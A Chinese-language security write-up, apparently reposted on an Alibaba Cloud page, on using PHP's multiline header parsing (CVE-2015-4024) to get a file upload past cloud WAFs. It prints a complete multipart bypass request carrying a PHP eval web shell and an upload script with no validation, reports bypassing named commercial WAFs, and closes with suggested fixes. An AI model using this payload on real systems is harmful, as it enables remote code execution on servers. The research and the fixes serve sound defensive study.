PHP DOS漏洞的新利用:CVE-2015-4024 Reviewed

來源:互聯網
上載者:User

標籤:

1.     背景介紹

今天我們想從2015.04.03的一個PHP遠程dos漏洞(CVE-2015-4024)說起。技術細節見如下連結,https://bugs.php.net/bug.php?id=69364。因為php解析body part的header時進行字串拼接,而拼接過程重複拷貝字元導致DOS。事實上該漏洞還有其他非dos的利用價值,其中之一,就是繞過當前各種雲WAF的檔案上傳防禦策略。

目前國內外流行的雲WAF廠商有如百度雲加速,360網站衛士,加速樂,Apsara Stack Security等。因為PHP遠程dos漏洞及PHP官方修複方案的特點,我們成功利用該漏洞繞過了當前主流WAF的檔案上傳防禦,例如百度雲加速、360網站衛士、知道創於加速樂、安全狗。

接下來,我們以PHP為例,詳細解析我們的繞過方法。

2.     繞過WAF的原理

根據PHP DOS漏洞原理,在multipart_buffer_headers函數解析header對應value時,value值存在n行。每行的字串以空白符開頭或不存字元‘:‘,都觸發以下合并value的代碼塊。那麼解析header的value就要執行(n-1)次合并value的代碼塊,從而導致DOS。

prev_len= strlen(prev_entry.value);

cur_len= strlen(line);

entry.value= emalloc(prev_len + cur_len + 1); //1次分區記憶體

memcpy(entry.value,prev_entry.value, prev_len); //1次拷貝

memcpy(entry.value+ prev_len, line, cur_len);   //1次拷貝

entry.value[cur_len+ prev_len] = ‘\0‘;

entry.key= estrdup(prev_entry.key);

zend_llist_remove_tail(header);//1次記憶體釋放

而PHP官方修複方案,在進行合并時,避免重複拷貝,從而避免DOS。繞過WAF的關鍵在於,PHP multipart_buffer_headers函數解析header對應value時,value值存在多行。每行的字串以空白符開頭或不存字元‘:‘,將進行合并。而WAF在解析檔案上傳的檔案名稱時,沒有考慮協議相容,不進行多行合并,就可以被繞過。

根據原理構造繞過WAF檔案上傳防禦的payload,WAF解析到的檔案名稱為”test3.jpg”,而PHP解析到的檔案名稱是”test3.jpg\nf/shell.php”,因為”/”是目錄分隔字元,上傳的檔案名稱變為shell.php。以下是繞過paylaod、測試指令碼、paylaod進行檔案上傳的。

WAF繞過payload:

------WebKitFormBoundaryx7V4AhipWn8ig52y

Content-Disposition: form-data; name="file"; filename="test3.jpg\nsf/shell.php

Content-Type: application/octet-stream

<?php eval($_GET[‘c‘])?>

------WebKitFormBoundaryx7V4AhipWn8ig52y

檔案上傳功能測試腳:

<?php

         $name = $_FILES[‘file‘][‘name‘];

        echo $name;

        echo "\n";

        move_uploaded_file($_FILES[‘file‘][‘tmp_name‘] , ‘/usr/local/nginx/html/upload/‘.$_FILES[‘file‘][‘name‘]);

        echo "upload success! ".$_FILES[‘file‘][‘name‘];

        echo "\n";

        echo strlen($_FILES[‘file‘][‘name‘]);

?>

Payload能夠正常上傳

 

 

3.     繞過WAF實戰

筆者通過搭建自己的測試站,接入360網站衛士和加速樂,驗證繞過WAF檔案上傳防禦的方法。

3.1 繞過360網站衛士

步驟1,驗證網站已被360網站衛士防禦,攔截了直接上傳PHP檔案的請求。

 

 

步驟2:成功繞過360網站衛士,上傳shell成功,檔案是apo.php。在該請求中,有沒有Content-Type不影響繞過。

 

 

3.2 繞過知道創宇加速樂

步驟一:驗證網站被加速樂保護,攔截了直接上傳PHP檔案的請求。

 

 

步驟二:

 

 

成功繞過加速樂,上傳shell,檔案是syt.php。

3.3. 繞過百度雲加速

百度雲加速與CloudFlare,從百度勻加速攔截頁面可以看出使用的是CloudFlare. 但是估計有本地化,百度雲加速應該是百度和CloudFlare共同產物吧。測試百度沒有搭建自己的測試環境,找了個接入了百度雲加速的站進行測試。

步驟一:驗證網站被百度雲加速保護,攔截了直接上傳PHP檔案的請求。

 

 

步驟二:成功繞過雲加速

 

4.     擴充—更多的工作

4.1 分析filename其他字元的繞過

同理,我們發現除了雙引號外,使用單引號也能繞過WAF的防禦,並實現檔案上傳。

------WebKitFormBoundaryx7V4AhipWn8ig52y

Content-Disposition: form-data; name="file"; filename=‘test3.jpg\nsf/shell.php

Content-Type: application/octet-stream

<?php eval($_GET[‘c‘])?>

------WebKitFormBoundaryx7V4AhipWn8ig52y

4.2 分析其他應用指令碼語言

我們也發現jsp解析也有自己的特點,同時可被用於繞過WAF。暫時未測試asp,aspx,python等常用的WEB應用指令碼語言。

5.     修複方案

5.1 修複方案一

解析檔案上傳請求時,如果發現請求不符合協議規範,則拒絕請求。可能會產生誤攔截,需要評估誤攔截的影響範圍。

5.2 修複方案二

       相容php的檔案解析方式,解析檔案名稱時,以單引號或雙引號開頭,並且對應的單引號或雙引號閉合。

6.     總結

本文通過Review PHP遠程dos漏洞(CVE-2015-4024),並利用該特性繞過現有WAF的檔案上傳防禦,成功上傳shell。 更重要的價值,提供給我們一個繞過WAF的新思路,一種研究新方向:利用後端應用指令碼與WAF行為的差異繞過WAF的防禦。總的來說,一款優秀的WAF應該能夠處理相容WEB應用程式容器、標準協議、web伺服器這間的差異。

PHP DOS漏洞的新利用:CVE-2015-4024 Reviewed

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.